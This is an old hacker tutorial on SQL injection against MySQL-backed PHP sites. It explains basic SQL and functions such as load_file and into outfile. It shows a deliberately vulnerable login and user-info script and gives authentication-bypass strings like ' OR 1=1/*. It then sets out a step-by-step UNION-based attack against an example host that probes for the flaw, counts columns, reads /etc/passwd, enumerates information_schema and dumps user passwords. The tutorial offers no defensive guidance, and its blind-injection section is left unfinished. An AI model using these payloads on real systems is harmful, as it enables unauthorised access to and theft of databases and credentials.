SQL Injections

0. Introduction

This tutorial is not going to teach you the SQL language, nor will make you a hacker. This tutorial will give a short introduction to the structure of the SQL language, statements and functions. And because this is a paper on SQL injections it will show you how to (mis)use this language to get what you want.

1. Basics of sql

SQL is a standard computer language for accessing and manipulating databases. If you have never heard about it, or have absolutely no experience with it, or just want to refresh your memories I strongly recommend you to visit w3schools's tutorial on sql. Let's start with the basic statements in SQL.

SELECT
syntax: SELECT col1, col2, col3 FROM table_name
col1, col2, col3 are column names in the table table_name. If you'r unfamiliar what these terms mean, check out the following table:
users
idnameemail
5223godgod@gmail.com
5224babyagababayaga@gmail.com
5225johnwaynejohnwayne@gmail.com
the table name is users
id, name and email are column names
The light blue ( yes it is blue to me, so don't even post things like: hey this is green, not blue! ) color represents a column, a row is marked with yellow color. Every single element is a cell. When using the select statement you have to know the table name, but you don't have to know the column names. You can also use select without specifying a table name
SELECT * FROM users
SELECT id, name, email FROM users
SELECT 1,2,3,'hello'
The first two statements do the same given the table users. They extract all the data, and return a set like the table above. To get exactly what you want you can use WHERE. The third one selects what you told it to.
SELECT * FROM users WHERE id=5224
SELECT * FROM users WHERE name='babyaga'
SELECT * FROM users WHERE name LIKE 'ba%ga'
For a more brief intro to where visit the site a mentioned at the top of this tutorial.

UNION
syntax: statement1 UNION statement2
The union command is used to link two select statements into one output. The number of columns must be the same in both statements, and the data types have to be the same ( they should, but mysql does casting so you don't have to worry about this. ).
SELECT * FROM users UNION ALL SELECT 1,'ghost','ghost@gmail.com'
SELECT * FROM users UNION ALL SELECT id, name, pass FROM users2

ORDER BY
syntax: select * from table_name ORDER BY column_name ASC/DESC
This statement is used to reorder the output by a given column_name alphabetically or numerically descending or ascending. One interesting thing about it is that you can use numbers instead of column names like this:
select * from login order by name
select * from login order by 2
The number represents the column number - first, second, ...

COMMENTS
The following characters comment out the rest of the row: --, #, /*

2. Functions

SQL has a set of useful functions. For an exhausting overview of sql functions you can visit www.mysql.com. The most useful functions ( or the functions that you'll use the most when exploiting sql driven systems ) are :
USER(), SYSTEM_USER(), SESSION_USER()
select user(),session_user(),system_user()
these functions return a string like this: root@localhost. The first part is telling us under which user the mysql server is running and the second ( after @ ) the server name. Running a mysql server as root is however rare.
DATABASE()
select database()
this function returns the currently selected database name. This function is quite useful as you will see later.
CHAR(), ASCII(), CHAR_LENGTH(), MID(), CONCAT()
1. select id from login where name=char(103,111,100)
2. select ascii('a')
3. select char_length('hello')
4. select mid('mysql tutorial',1,5)
5. select concat('my','sql')
the function char() converts from ascii codes to characters giving a string as a result. the first statement above gives the following output: 5223 and is equal to the following statent:
select id from login where name='god'
the function ascii() converts characters to their ascii codes
the second statement above gives this output: 97
the function char_length() returns the length of a string.
the third statement gives this output: 5
the function mid() returns a substring of it's first parameter starting at the position given as the second parameter and long given in the third parameter.
the last two statements return mysql
LOAD_FILE('/path/to/file'), SELECT 'asdfgh' INTO OUTFILE '/path/to/file'
select load_file('/etc/passwd')
select 'asdfgh' into outfile '/tmp/a0.tmp'
You have to use full paths with these functions. The first reads a file, the second writes to a file.
If you are unsure with some of the functions check the mysql documentation, or google them up.

3. Default databases

I assume you have some sort of mysql installed. Log in and execute the following command:
show databases
this will give you a list of the databases avaliable. You will ( most probably ) have a database named mysql or information_schema or both. If you have only mysql, chances are that information_schema is a table inside the mysql db. The information_schema database / table is very useful because it contains a lot of information. Later on we will deal a little bit more with it. For now just keep in mind that such a thing exists.

2. Injections

First we'll take a look into a typical login mechanism:
<?php
$res 
mysql_query("SELECT * FROM users WHERE name='{$_POST['name']}' AND pass='{$_POST['pass']}'");
if (
mysql_num_rows($res) > 0)
    
// auth succcesfull
else
    
// auth failed
Several methods exist to bypass such types of authentication. Think about what happens if we supply such details in the name field
1. ' OR 'asd'='asd'/*
2. ' OR 1=1/*
3. username'/*
And now onto web applications. There is a load of web applications out there, these are the so called cms-es. They might have a script which gives us information based on a GET variable and of course using databases. For exmple a page which gives user info on the user whose id equals to the one in the GET variable. The url might look like this:
http://vuln.com/userinfo.php?id=1
and the source code of userinfo.php might be something like this:
<?php
include 'link.php'// connection details for mysql server, $link
$sql "select * from users where id={$_GET['id']}";
$res mysql_query($sql$link);
// display details
?>
To succesfully exploit such an application there are several steps:
1. test whether it is vulnerable or not
http://vuln.com/userinfo.php?id=1 and 1=1/*
http://vuln.com/userinfo.php?id=1 and 1=0/*
http://vuln.com/userinfo.php?id=-1/*
these three urls should give different results. The first one should give the same as the one above it, and the others should give some kind of negative result. If this happens the application is vulnerable to sql injections. The reason behind it is that 1 is always equal to 1 (1=1), and 1 is never equal to 0 (1=0), ( No shitty number theories please ) and the AND operator returns 1 (true) if both statements are true. Confusing? I don't think so. In the above injections I used the /* to escape, well to escape the nothing. But there are times when you'll need to comment your injections.
2. count the number of columns
http://vuln.com/userinfo.php?id=1 order by 1
First try 1, then a huge number - 100 for which it will fail. Then increase the numbers from 1 until you get negative results. Then extract 1 from the number you last used and you got the number of columns, like this:
1   -> [+]
100 -> [-]
2   -> [+]
4   -> [+]
8   -> [-]
6   -> [+]
7   -> [-]
6   -> [+]
so it has 6 columns.
3. use union to get some information
http://vuln.com/userinfo.php?id=-1 union all select 1,2,3,4,5,6
http://vuln.com/userinfo.php?id=-1 union all select database(),user(),load_file('/etc/passwd'),version(),5,6
http://vuln.com/userinfo.php?id=-1 union all select 1,2,table_name,4,5,6 from information_schema.tables where table_schema='db_name'
http://vuln.com/userinfo.php?id=-1 union all select 1,2,column_name,4,5,6 from information_schema.columns where table_name='table_name'
http://vuln.com/userinfo.php?id=-1 union all select 1,2,user,pass,5,6 from users where id=1
What we did is:
First made a template injection to see how the information is echoed back to us.
Then used built-in function to get the database name, db-user, a copy of the passwd file and db-server version
Then got the table name. (note: there might be more than 1 - use where and like to get what you want)
Then got the names of important columns. Again use where and like
And then we extracted the information we needed - name, password

3. Blind Injections

[ coming soon ]

4. EOF

This tutorial was written by me, torch on 2007.04.06
Last updated on 2007.04.06
If you spot anything which is incorrect, inaccurate, have any suggestions or ideas, or think that something is missing send your thoughts to 0x702ch[Alt+2]gmail.com


Links:
w3schools
WhitepaperSQLInjection
more_advanced_sql_injection
advanced_sql_injection
Blind_SQLInjection